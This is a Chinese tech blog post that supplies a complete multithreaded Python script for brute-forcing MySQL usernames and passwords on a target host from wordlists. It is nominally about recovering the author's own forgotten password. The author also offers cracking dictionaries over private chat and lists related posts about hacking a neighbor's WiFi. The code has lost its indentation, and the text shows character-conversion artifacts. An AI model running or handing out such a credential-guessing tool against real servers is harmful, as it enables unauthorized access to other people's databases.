大家好,我是冰河~~
最近有很多小夥伴問我:冰河,咋感覺你啥都會呀?Java、Python、大資料、分布式、微服務、系統架構、運維、滲透,請問你平時是怎麼學習的呢?我:個人覺得最好的學習方法就是,在平時的工作過程中,遇到問題多總結,注意積累解決問題的方案,及時查漏補缺,逐漸形成一套自己的方法論。
要知道,每項知識、技能的積累,需要的是日複一日的堅持,正所謂——持之以恒,貴在堅持,這樣才能做到每天進步一點點。
小夥伴們如果覺得文章不錯,點贊、收藏、評論,分享走一起呀,記得給冰河來個一鍵三連~~
進入主題
好了,進入今天的主題吧,今天下班回到家想登入下MySQL資料庫,不巧的是,忘記了MySQL資料庫的使用者和密碼了,怎麼辦?使用安全模式登入?我想這麼正常的方式應該大家都會吧!今天,就來點不一樣的吧,那就是使用Python寫個爆破MySQL的工具,看能不能爆破出MySQL的使用者和密碼。
小夥伴們如果覺得文章不錯,點贊、收藏、評論,分享走一起呀,記得給冰河來個一鍵三連~~
好了,咱們說幹就幹,開始吧。
爆破腳本
這次編寫的爆破MySQL的Python腳本使用了Python中的多線程程式設計,并且導入了MySQLdb子產品。運作時,腳本分别接收如下五個參數:
- 待破解的ip/domain:例如127.0.0.1
- 端口:例如3306
- 資料庫:例如test
- 使用者名清單檔案:例如user.txt檔案
- 密碼清單檔案:例如password.txt檔案
相對來說,還是比較簡單的,下面就給出完整的腳本代碼吧。
#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2021/06/30
# Created by 冰河
# Description MySQL暴力破解工具多線程版
import os, sys, re, socket, time
from functools import partial
from multiprocessing.dummy import Pool as ThreadPool
try:
import MySQLdb
except ImportError:
print '\n[!] MySQLdb子產品導入錯誤,請到下面網址下載下傳:'
print '[!] http://www.codegood.com/archives/129'
exit()
def usage():
print '+' + '-' * 50 + '+'
print '\t Python MySQL暴力破解工具多線程版'
print '\t 微信公衆号:冰河技術'
print '\t\t Code BY: 冰河'
print '\t\t Time:2021-06-30'
print '+' + '-' * 50 + '+'
if len(sys.argv) != 6:
print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain 端口 資料庫 使用者名清單 密碼清單"
print "執行個體: " + os.path.basename(sys.argv[0]) + " 127.0.0.1 3306 test user.txt pass.txt"
sys.exit()
def mysql_brute(user, password):
"mysql資料庫破解函數"
db = None
try:
# print "user:", user, "password:", password
db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2]))
# print '[+] 破解成功:', user, password
result.append('使用者名:' + user + "\t密碼:" + password)
except KeyboardInterrupt:
print '已成功退出程式!'
exit()
except MySQLdb.Error, msg:
print '程式出錯,錯誤資訊為:', msg
pass
finally:
if db:
db.close()
if __name__ == '__main__':
usage()
start_time = time.time()
if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
host = sys.argv[1]
else:
host = socket.gethostbyname(sys.argv[1])
userlist = [i.rstrip() for i in open(sys.argv[4])]
passlist = [j.rstrip() for j in open(sys.argv[5])]
print '\n[+] 目 标:%s \n' % sys.argv[1]
print '[+] 使用者名:%d 條\n' % len(userlist)
print '[+] 密 碼:%d 條\n' % len(passlist)
print '[!] 密碼破解中,請稍候……\n'
result = []
for user in userlist:
partial_user = partial(mysql_brute, user)
pool = ThreadPool(10)
pool.map(partial_user, passlist)
pool.close()
pool.join()
if len(result) != 0:
print '[+] MySQL密碼破解成功!\n'
for x in {}.fromkeys(result).keys():
print x + '\n'
else:
print '[-] MySQL密碼破解失敗!\n'
print '[+] 破解完成,用時: %d 秒' % (time.time() - start_time)
腳本編寫完成後,運作,等待了一段時間,将我的MySQL的使用者和密碼完美的破解出來了。
這裡需要注意的是:能不能破解出MySQL的使用者和密碼,那要看你的爆破字典是否足夠強大了,說直白點,就是你的user.txt檔案中的使用者和password.txt檔案中的密碼是否足夠齊全。
如果你想擷取一個相對來說比較強大的爆破密碼的字典檔案,可以加我微信:sun_shine_lyz私聊擷取。并且我自己也寫了一個根據輸入的位數生成密碼字典的程式,大家也可以私聊我擷取。
推薦書籍
這次,也給大家推薦一些關注滲透方面的書籍吧。
《冰河的滲透實戰筆記》
首先,就是我最近寫的這本《冰河的滲透實戰筆記》,一本很不錯的滲透實戰電子書,絕大部分來源于冰河多年的滲透實戰筆記。
下載下傳位址:https://download.csdn.net/download/l1028386804/18830348
另外,再推薦兩本,我之前深入研究過的并且很不錯的書籍。
《IDA Pro代碼破解揭秘》
《IDA Pro權威指南(第2版)》
寫在最後
如果你想進大廠,想升職加薪,或者對自己現有的工作比較迷茫,都可以私信我交流,希望我的一些經曆能夠幫助到大家~~
推薦閱讀:
- 《全網最全性能優化總結!!(冰河吐血整理,建議收藏)》
- 《三天撸完了MyBatis,各位随便問!!(冰河吐血整理,建議收藏)》
- 《奉勸那些剛參加工作的學弟學妹們:要想進大廠,這些核心技能是你必須要掌握的!完整學習路線!!(建議收藏)》
- 《奉勸那些剛參加工作的學弟學妹們:這些計算機與作業系統基礎知識越早知道越好!萬字長文太頂了!!(建議收藏)》
- 《我用三天時間開發了一款老少皆宜的國民級遊戲,支援播放音樂,現開放完整源代碼和注釋(建議收藏)!!》
- 《我是全網最硬核的高并發程式設計作者,CSDN最值得關注的部落客,大家同意嗎?(建議收藏)》
- 《畢業五年,從月薪3000到年薪百萬,我掌握了哪些核心技能?(建議收藏)》
- 《我入侵了隔壁妹子的Wifi,發現。。。(全程實戰幹貨,建議收藏)》
- 《千萬不要輕易嘗試“熊貓燒香”,這不,我後悔了!》
- 《清明節偷偷訓練“熊貓燒香”,結果我的電腦為熊貓“獻身了”!》
- 《7.3萬字肝爆Java8新特性,我不信你能看完!(建議收藏)》
- 《在業務高峰期拔掉伺服器電源是一種怎樣的體驗?》
- 《全網最全Linux指令總結!!(史上最全,建議收藏)》
好了,今天就到這兒吧,小夥伴們點贊、收藏、評論,一鍵三連走起呀,我是冰河,我們下期見~~